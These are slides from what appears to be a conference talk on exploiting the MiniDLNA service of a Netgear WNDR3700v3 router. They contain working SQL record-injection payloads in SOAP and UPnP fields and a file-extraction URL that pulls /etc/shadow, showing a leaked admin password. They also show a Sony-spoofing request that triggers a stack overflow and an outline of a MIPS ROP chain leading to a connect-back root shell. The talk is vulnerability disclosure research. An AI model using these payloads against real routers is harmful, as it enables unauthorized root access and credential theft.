SQL Injection To MIPS Overflows
Part Deux
Zachary Cutlip
Twitter: @zcutlip
Embedded Vulnerability Researcher
Formerly with Tactical Network Solutions, LLC
Followup to previous research
Presented at Black Hat 2012
Crappy code is still crappy
Target: WNDR 3700v3
Dual band Wireless router
SMB + FTP File server
DLNA Multimedia Server
CPU Architecture: 32-bit MIPS, Little Endian
Firmware: 1.0.0.30
MiniDLNA: 1.0.24
Kernel: Linux 2.6.22
Firmware 1.0.0.30 Release Notes
“SQLi (mini DLNA module) security fix”
Newer Firmware
1.0.0.36
Vulnerable based on static analysis
1.0.0.38
Haven’t looked yet
Goal
Identify a new SQL injection bug
Identify a new buffer overflow
Combine the two just like last time
Reproduce the attacks from 2012
Attack SurfaceOnly looked at MiniDLNA
Didn’t look at:
HTTP Server
UPnP Server
Samba Server
FTP Server
Kernel Modules
Attack Scenario
Network based
LAN side
Reaver: attack from outside
Possible WAN side via UPnP vulns
SQLite Record Injection
We need two things:
Unsafe “%s” format code (combined with user input)
Use of sqlite3_exec()
INSERT statement can’t be nested.
sqlite3_exec() will execute multiple statements.
“Statement 1; Statement 2”
Record Injection Example sql_fmt="SELECT * from TABLE1 WHERE NAME='%s'";
input="foo; INSERT into TABLE2(ID,PATH) VALUES(1337,'/etc/shadow');—";
snprintf(query,sizeof(query), sql_fmt,user_input);
sqlite3_exec(db,query,callback_func, NULL,NULL);
Quotes in SQLite
When string is enclosed in outer single quotes
Escape quotes/apostrophes by doubling
Condensed into just one quote/apostrophe
Nothing else inside pair of quotes can be escaped
INSERT INTO table1 VALUES( 'It''s a happy day!')
SQLite’s %q
SQLite’s ‘mprintf()’ functions provide a %q code
Like %s, except doubles single quote characters
"INSERT INTO table1 VALUES('%q')"
Should be surrounded by single quotes
Netgear’s Custom Patches
Shipping binary diverges from source
“%s” format codes replaced with “%q”
Source still useful, but…
Bugs must be found from reversing the binary
SQL Injection Candidate in Source
Patched in Binary
A Promising Lead
In searchContentDir()
Call to sqlite3_exec()
Preceded by SQL query with ‘%s’
Injection CandidateSELECT
o.OBJECT_ID, o.PARENT_ID, o.REF_ID, o.DETAIL_ID, o.CLASS,
d.SIZE, d.TITLE, d.DURATION, …
from OBJECTS o
left join DETAILS d on
(d.ID = o.DETAIL_ID)
where OBJECT_ID glob '%q$*'
and (%s) %s %z %s
limit %d, %d
Where for art thou, %q?
Injection Candidate
Query Translation
UPnP Query:
upnp:artist = "Armin Van Buuren”
Becomes SQL Query:
and (d.ARTIST = "Armin Van Buuren")
Query Injection
Inject in upnp:artist criteria:
upnp:artist = "foo"); SELECT 1=1;-‐-‐
or
upnp:artist = "foo"); insert into ALBUM_ART values(ID,PATH) values(31337,"fake data");-‐-‐
Another CandidateSELECT
( select count(distinct DETAIL_ID) from OBJECTS o
left join DETAILS d on (o.DETAIL_ID = d.ID) where (OBJECT_ID glob ‘%q$*’)
and (%s) ) +
( select count(*) from OBJECTS o
left join DETAILS d on (o.DETAIL_ID = d.ID) where (OBJECT_ID = ‘%q’)
and (%s) )
What is this?!And This?
Foiled!This query is in the critical path ahead of the other
It is NOT vulnerable to record injection
No sqlite3_exec()
Syntactically incompatible with the previous
Extra pair of parentheses
If the first query fails syntactically, the next never executes
No sqlite3_exec()
Unadvertised SOAP Action
Table of SOAP handlers
Many familiar
Advertised for the Content Directory Service
e.g., “Browse”, “Search”, etc.
One unfamiliar handler:
“X_SetBookmark”
The Samsung Special
According to source
“X_SetBookmark” is referenced
SamsungSetBookmark()
Sets a bookmark, in seconds, on a video
SetBookmark Query
INSERT OR REPLACE into BOOKMARKS
VALUES (
(select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'),%q
) Something’s not!right, here.
X_SetBookmark Request<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:X_SetBookmark xmlns:u="urn:schemas-‐upnp-‐org:service:ContentDirectory:1">
<ObjectID>46</ObjectID>
<PosSecond>
3600
</PosSecond>
<CategoryType>10</CategoryType>
<RID>0</RID>
</u:X_SetBookmark>
</s:Body>
</s:Envelope>
X_SetBookmark Request
<PosSecond>
3600
</PosSecond>
X_SetBookmark Injection
<PosSecond>
1);INSERT into ALBUM_ART(ID,PATH)
VALUES(31337,"fake data”);-‐-‐
</PosSecond>
Arbitrary File Extraction
Previously presented (BH 2012) vulnerability
Create bogus ALBUM_ART record
Points to arbitrary file
Retrieve via unauthenticated HTTP:
http://router:8200/AlbumArt/31337-‐1.jpg
Extract Passwords
$ cat 31337-‐1.jpg
nobody:*:0:0:nobody:/:/bin/sh
admin:qw12QW!@:0:0:admin:/:/bin/sh
guest:guest:0:0:guest:/:/bin/sh
!
admin:qw12QW!@:0:0:admin:/:/bin/sh
Even Better…
Extract NVRAM config
/dev/mtdblock14
Extract minidlna binary
pre-exploitation fingerprint
Still Works…
…two years later
Every system running MiniDLNA…
…if you can find a record injection vulnerability.
Root or it didn’t happen
Getting passwords is nice, but…
Let’s get root.
Buffer Overflow
Custom API replaces most risky string handling
A few unsafe functions remain
An interesting sprintf() is found in callback()
Interesting sprintf()
Rewrites DLNA Profile Name retrieved from database…
…specifically for Sony TVs
Destination is a 128-byte buffer on the stack.
Use record injection
Stage records for bogus media object
Excessively long DLNA_PN string
Triggering the overflow
Triggering the overflow
DETAILS.MIME value starts with “v”
For “video” MIME type?
Maybe “v” is for “vendetta”?
client_type variable must = 9
Spoof a Sony TV
In source, client type of 9 == ESonyBravia
HTTP header X-‐AV-‐Client-‐Info
If present, and contains “BRAVIA” substring
client_type is set to ESonyBravia
DLNA Profile NamesDLNA Profile name must be one of three:
AVC_TS_MP_SD_AC3
AVC_TS_MP_HD_AC3
AVC_TS_HP_HD_AC3
strncmp() is used, so PN must only begin with one
If found, profile name is rewritten with sprintf()
Stack Hazardscallback() function is super gnarly
10K bytes in length
Lots of stack hazards
Lots of ways to crash
Lots of paths out of the function
No fast failure avoiding stack hazards
Custom String API
A number of custom string handling functions
e.g., “strcatf()”
All work with a custom string “object”
Custom String API
struct string_s {
char *data; // ptr to start of memory area
int off;
int size;
};
Double Pointer Hell
str *struct string_s
Pointer to a pointer to writable memory
Two successful dereferences followed by a write
No error checking
If clobbered, very crash
FML: Writable Double Pointers
Seven calls to strcatf() after overflow
Each with a different pointer to struct string_s
Buffer overflow must contain placeholder values
Placeholders must:
Be a valid address
Point to a valid address
Second address points to writable memory
ELF Weirdness
ELF Libraries for some architectures
.sdata (small data) section
First address points to itself
Followed by writable memory initialized to zero
.sdata Pointer to Self
One Time Use
Each pointer to self can only be used once
Memory is contaminated after write
MiniDLNA links lots of libraries
Lots of .sdata sections to use
Add Placeholder to Overflow
SC.gadget_section(375,0x4A558,
description="Placeholder for passed_args[0].
Passed to strcatf() at 0x0041635C.",
base_address=cls.LIBAVUTIL_BASE)
Bad Bytes
Null bytes break string handling
HTTP related characters
SQL syntax related characters
Total list:
‘\x0d','\x00','\x20','\x0a','\x2d','\x3c','\x3e','\x22'
SQL Syntax Complication
Single quote (0x27 byte value) causes a problem
Single quotes get doubled by %q format code
“\x41\x61\x27\x05” becomes
“\x41\x61\x27\x27\x05”
This one weird trick
Pull out each 0x27 byte
Double it: “\x27\x27”
Append to overflow as separate SQL injection
If Input string is “''” (pair of single quotes)
str=sqlite3_mprintf("INSERT into table1 VALUES(%q),"''");
SQL command becomes:
INSERT into table1 VALUES('''')
Exploit POC accomplishes this automatically:
1);UPDATE DETAILS set DLNA_PN=DLNA_PN||'''' where ID=31337;-‐-‐
Trigger the Overflow
Browse SOAP request causes database query
Browse for staged <ObjectID>
Overflow record retrieved & processed
In Browse request
X-‐AV-‐Client-‐Info header set to “BRAVIA”
Browse for Staged Overflow
<?xml version="1.0" encoding="utf-‐8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<ns0:Browse xmlns:ns0="urn:schemas-‐upnp-‐org:service:ContentDirectory:1">
<ObjectID>PWNED</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
<Filter>*</Filter>
<StartingIndex>0</StartingIndex>
<RequestedCount>100</RequestedCount>
<SortCriteria />
</ns0:Browse>
</s:Body>
</s:Envelope>
<s:Body>
<ns0:Browse xmlns:ns0="urn:schemas-‐upnp-‐org:service:ContentDirectory:1">
<ObjectID>PWNED</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
…
…
</ns0:Browse>
</s:Body>
Crash!
MIPS Exploitation
MIPS Linux 2.6.22
Executable stack
Stack is randomized with ASLR
No randomization on libraries
Makes ROP possible
MIPS CachingSeparate Instruction/Data Caches
Buffer overflow data is in D-Cache
Execution fetches instructions through I-Cache
Must flush caches to execute payload
Several tricks
ROP into sleep() to force context switch.
MIPS ROP
ROPping on MIPS
Fixed length instructions: 4 bytes
Aligned memory accesses
Few gadgets
Limited ROP is still possible
MIPS ROP ChainTo return into stack & execute, ROP must:
Stage an argument to sleep(), 1 or 2 seconds
Stage return address for sleep()’s return
Return into sleep(), causing data cache to flush
Load offset from $SP into a register
Jump to the register containing the stack offset
Decode, Execute, Root
Once executing off the stack:
Decode payload
Execute payload
root
Connect-back Shell
Bowcaster
Python API for describing buffer overflow
Easy description of ROP gadgets
Pattern string for debugging
Payloads + XOR decoder specific for MIPS
Variety of connect-back servers
Set Up Addresses & Offsets
Add Double Pointer Placeholder
Add ROP Gadgets
Add Payloads
Create Overflow Object
Verification, Server, Exploit
Stage Data, Trigger Overflow
Demo Time
Future WorkInvestigate UPnP
Port forwarding via CSRF?
Make exploit dynamic
Support many Netgear devices running MiniDLNA
Generate ROP chain dynamically
Additional Resources: https://shadow-file.blogspot.com
Thanks to Craig Heffner @devttyS0
Questions?
Contact Me [email protected]
Twitter: @zcutlip !
Additional Resources: https://shadow-file.blogspot.com